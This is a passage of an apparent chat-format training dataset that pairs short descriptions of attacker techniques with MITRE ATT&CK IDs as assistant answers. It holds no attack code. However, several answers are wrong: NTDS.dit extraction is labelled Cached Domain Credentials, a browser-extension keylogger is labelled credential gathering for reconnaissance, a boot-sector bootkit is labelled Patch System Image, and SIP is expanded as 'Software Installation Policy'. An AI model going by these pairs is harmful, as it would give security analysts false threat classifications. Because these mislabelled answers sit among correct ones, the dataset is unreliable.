                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses cloud APIs to take a snapshot of a victim's virtual machine, preserving the OS and data for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a silver ticket attack to create a forged Kerberos ticket that grants access to specific resources within an Active Directory environment."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use privileged access to delete entries from the threat intelligence feed, ensuring that known bad IPs are no longer flagged as indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged PowerShell to update the registry settings of a GPO, disabling security software across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious JPEG is embedded in a social media post; users who view the image trigger execution of a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the router's ROMMON environment to load malicious firmware before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the authentication token generation process to embed forged tokens that bypass MFA checks."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑criminal adds a low‑privilege hidden account that is excluded from the usual user enumeration scripts, facilitating persistence."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool reads the cached credentials from the NTDS.dit file to obtain domain password hashes without contacting the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved DLL injection through the CreateRemoteThread technique to run unauthorized code within a trusted process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a VBScript file dropped on the victim machine to download and execute a ransomware installer."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs WHOIS lookups on target domains to gather registration information such as owner email and name."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PT group routinely monitors commits in open repositories for accidental disclosure of authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code initiates a massive number of thread creations, quickly exhausting the operating system's thread pool and leading to an endpoint crash."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses ptrace to monitor and alter the execution of a system service, effectively injecting its own logic."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware captures audio from the microphone using the system's audio capture API."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses amplification attacks by sending forged DNS queries to multiple resolvers, reflecting traffic to the target."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a browser extension to siphon stored cookies and later replays them for authentication bypass."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant exchanges an elliptic curve public key with the C2 server and then encrypts all payloads using the server’s public key for secure transmission."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performs a command-line dump of a Cisco router's config to collect network topology details."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute a script that formats the primary partition, erasing all data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool extracts driver signatures via the Win32_DeviceChangeEvent class."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team tool sets the 'Turn off monitor' timeout to 0 minutes, ensuring the display stays on and the attacker's UI remains visible."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker updates the KeepAlive key in an existing daemon’s plist to ensure the malicious process restarts if terminated."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a custom tool to call the cloud provider's identity management API, establishing a fresh account with high‑level privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script calls the Linux 'id' command to retrieve the current user ID and group information on a compromised Unix host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects code into the browser process to capture saved form passwords from the memory dump."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider in a third‑party contractor abuses their legitimate access rights, leveraging the trusted relationship to install ransomware on the victim's production servers."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension records form inputs, including login credentials, and sends them to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors scrape GIS data and city planning maps to discover the physical locations of the victim's manufacturing facilities."
            },
            {
                "role": "assistant",
                "content": "T1591.001 - Gather Victim Org Information: Determine Physical Locations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the Windows API to get the system's network location and stores it in a hidden file."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exfiltrates database dumps by creating a new repository on a self‑hosted Gitea instance."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the security monitoring dashboard API to hide alerts related to credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker downloads an exploit for a Java deserialization flaw from a hacking forum and uses it to achieve code execution on the target."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion removes entries from the system's network connection tracking tables and erases related audit logs."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .dotx template is saved to the user's Templates directory, causing the macro to run each time Office starts."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a kernel‑mode driver to conduct stealthy network sniffing, recording all SMB traffic on the victim's network segment."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvested credentials and then exfiltrated sensitive files by sending them to a compromised Google Drive account via the Drive API."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilized stolen API keys to call the cloud provider's account creation endpoint, setting up a hidden backdoor account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors insert a counterfeit root certificate into the browser's certificate authority list to perform man‑in‑the‑middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining domain admin rights, the attacker disables the victim’s account to retain stealth."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen OAuth tokens, the intruder accessed SharePoint document libraries to copy financial records."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs remote desktop protocols, including VNC, to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects its code by creating a new DLL and registering it under the AppInit_DLLs registry value, causing the DLL to load in all newly launched applications."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor obtains a stolen SSL/TLS certificate to impersonate a legitimate service."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor executes 'echo $USER' to display the current logged‑in username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a cloud storage service’s endpoint as a proxy, forwarding malicious payloads while masking the final destination by altering the Host header, a classic domain fronting technique."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by sending it as email attachments to a Gmail address and then automatically saving them to Google Drive."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor invokes the Windows API function RtlCreateUserThread via direct system calls to inject code."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group registers a disposable Yahoo! email address to receive encrypted payloads from infected machines."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edit the PowerShell profile to load a DLL via Add-Type, achieving persistence through event‑triggered execution each session."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses HTTP CONNECT method to create an encrypted tunnel through a corporate proxy, allowing stealthy data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated APT group manipulates the Software Installation Policy (SIP) to redirect trust verification to a compromised server, enabling silent installation of backdoors."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group utilized a shell command to replace the system's login banner with a deceptive message."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new account in the target’s Kubernetes cluster with cluster‑admin role."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the Windows Credential Store via the Credential Manager API to retrieve cached domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces legitimate DLL files on the system with trojanized versions, causing the system to load malicious code each time the library is accessed."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email includes instructions that cause Outlook to create a rule which automatically runs a malicious executable each time the Inbox folder is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors replace the default PowerPoint template in the company's intranet with one that includes a macro to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team uses compromised credentials to download the proxy server's access logs, revealing internal traffic patterns."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a corporate email account and send spearphishing messages to other employees, enticing them to run a macro‑enabled spreadsheet."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder alters the boot sector of a compromised workstation, inserting malicious payloads into the boot loader."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the Active Directory via LDAP to obtain the distinguished names of domain users."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits a vulnerability in the Keychain Access application to dump all stored passwords in clear text."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a Windows Scheduled Task that runs every hour to copy harvested credential files to an external C2 server via SMB."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executes a bash script that reads `/var/lib/dpkg/status` to identify all packages installed on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor gains remote code execution on the DNS server via a software flaw, then modifies zone configurations."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves setting the \"GlobalFlag\" and \"Debugger\" values in the Image File Execution Options registry to redirect execution to attacker-controlled code."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The covert tool establishes an asymmetric encrypted tunnel by first exchanging public keys, then using them to encrypt all subsequent C2 messages."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a misconfigured NFS export to retrieve configuration files from a Linux server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses schtasks.exe to set up a hidden task that triggers a credential‑stealing binary after user logon."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a scheduled task that pulls commands from a malicious DNS record and executes them with wscript.exe."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the IIS FTP service by placing a malicious script in the FTP root, which was then executed by the server’s scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised program enumerates /proc/* directories, reading the environment variables of processes to uncover embedded passwords and API keys."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a new social media profile to lure users into clicking malicious links."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attack script pulls network trust data from Azure AD Connect to discover cross‑tenant trusts."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
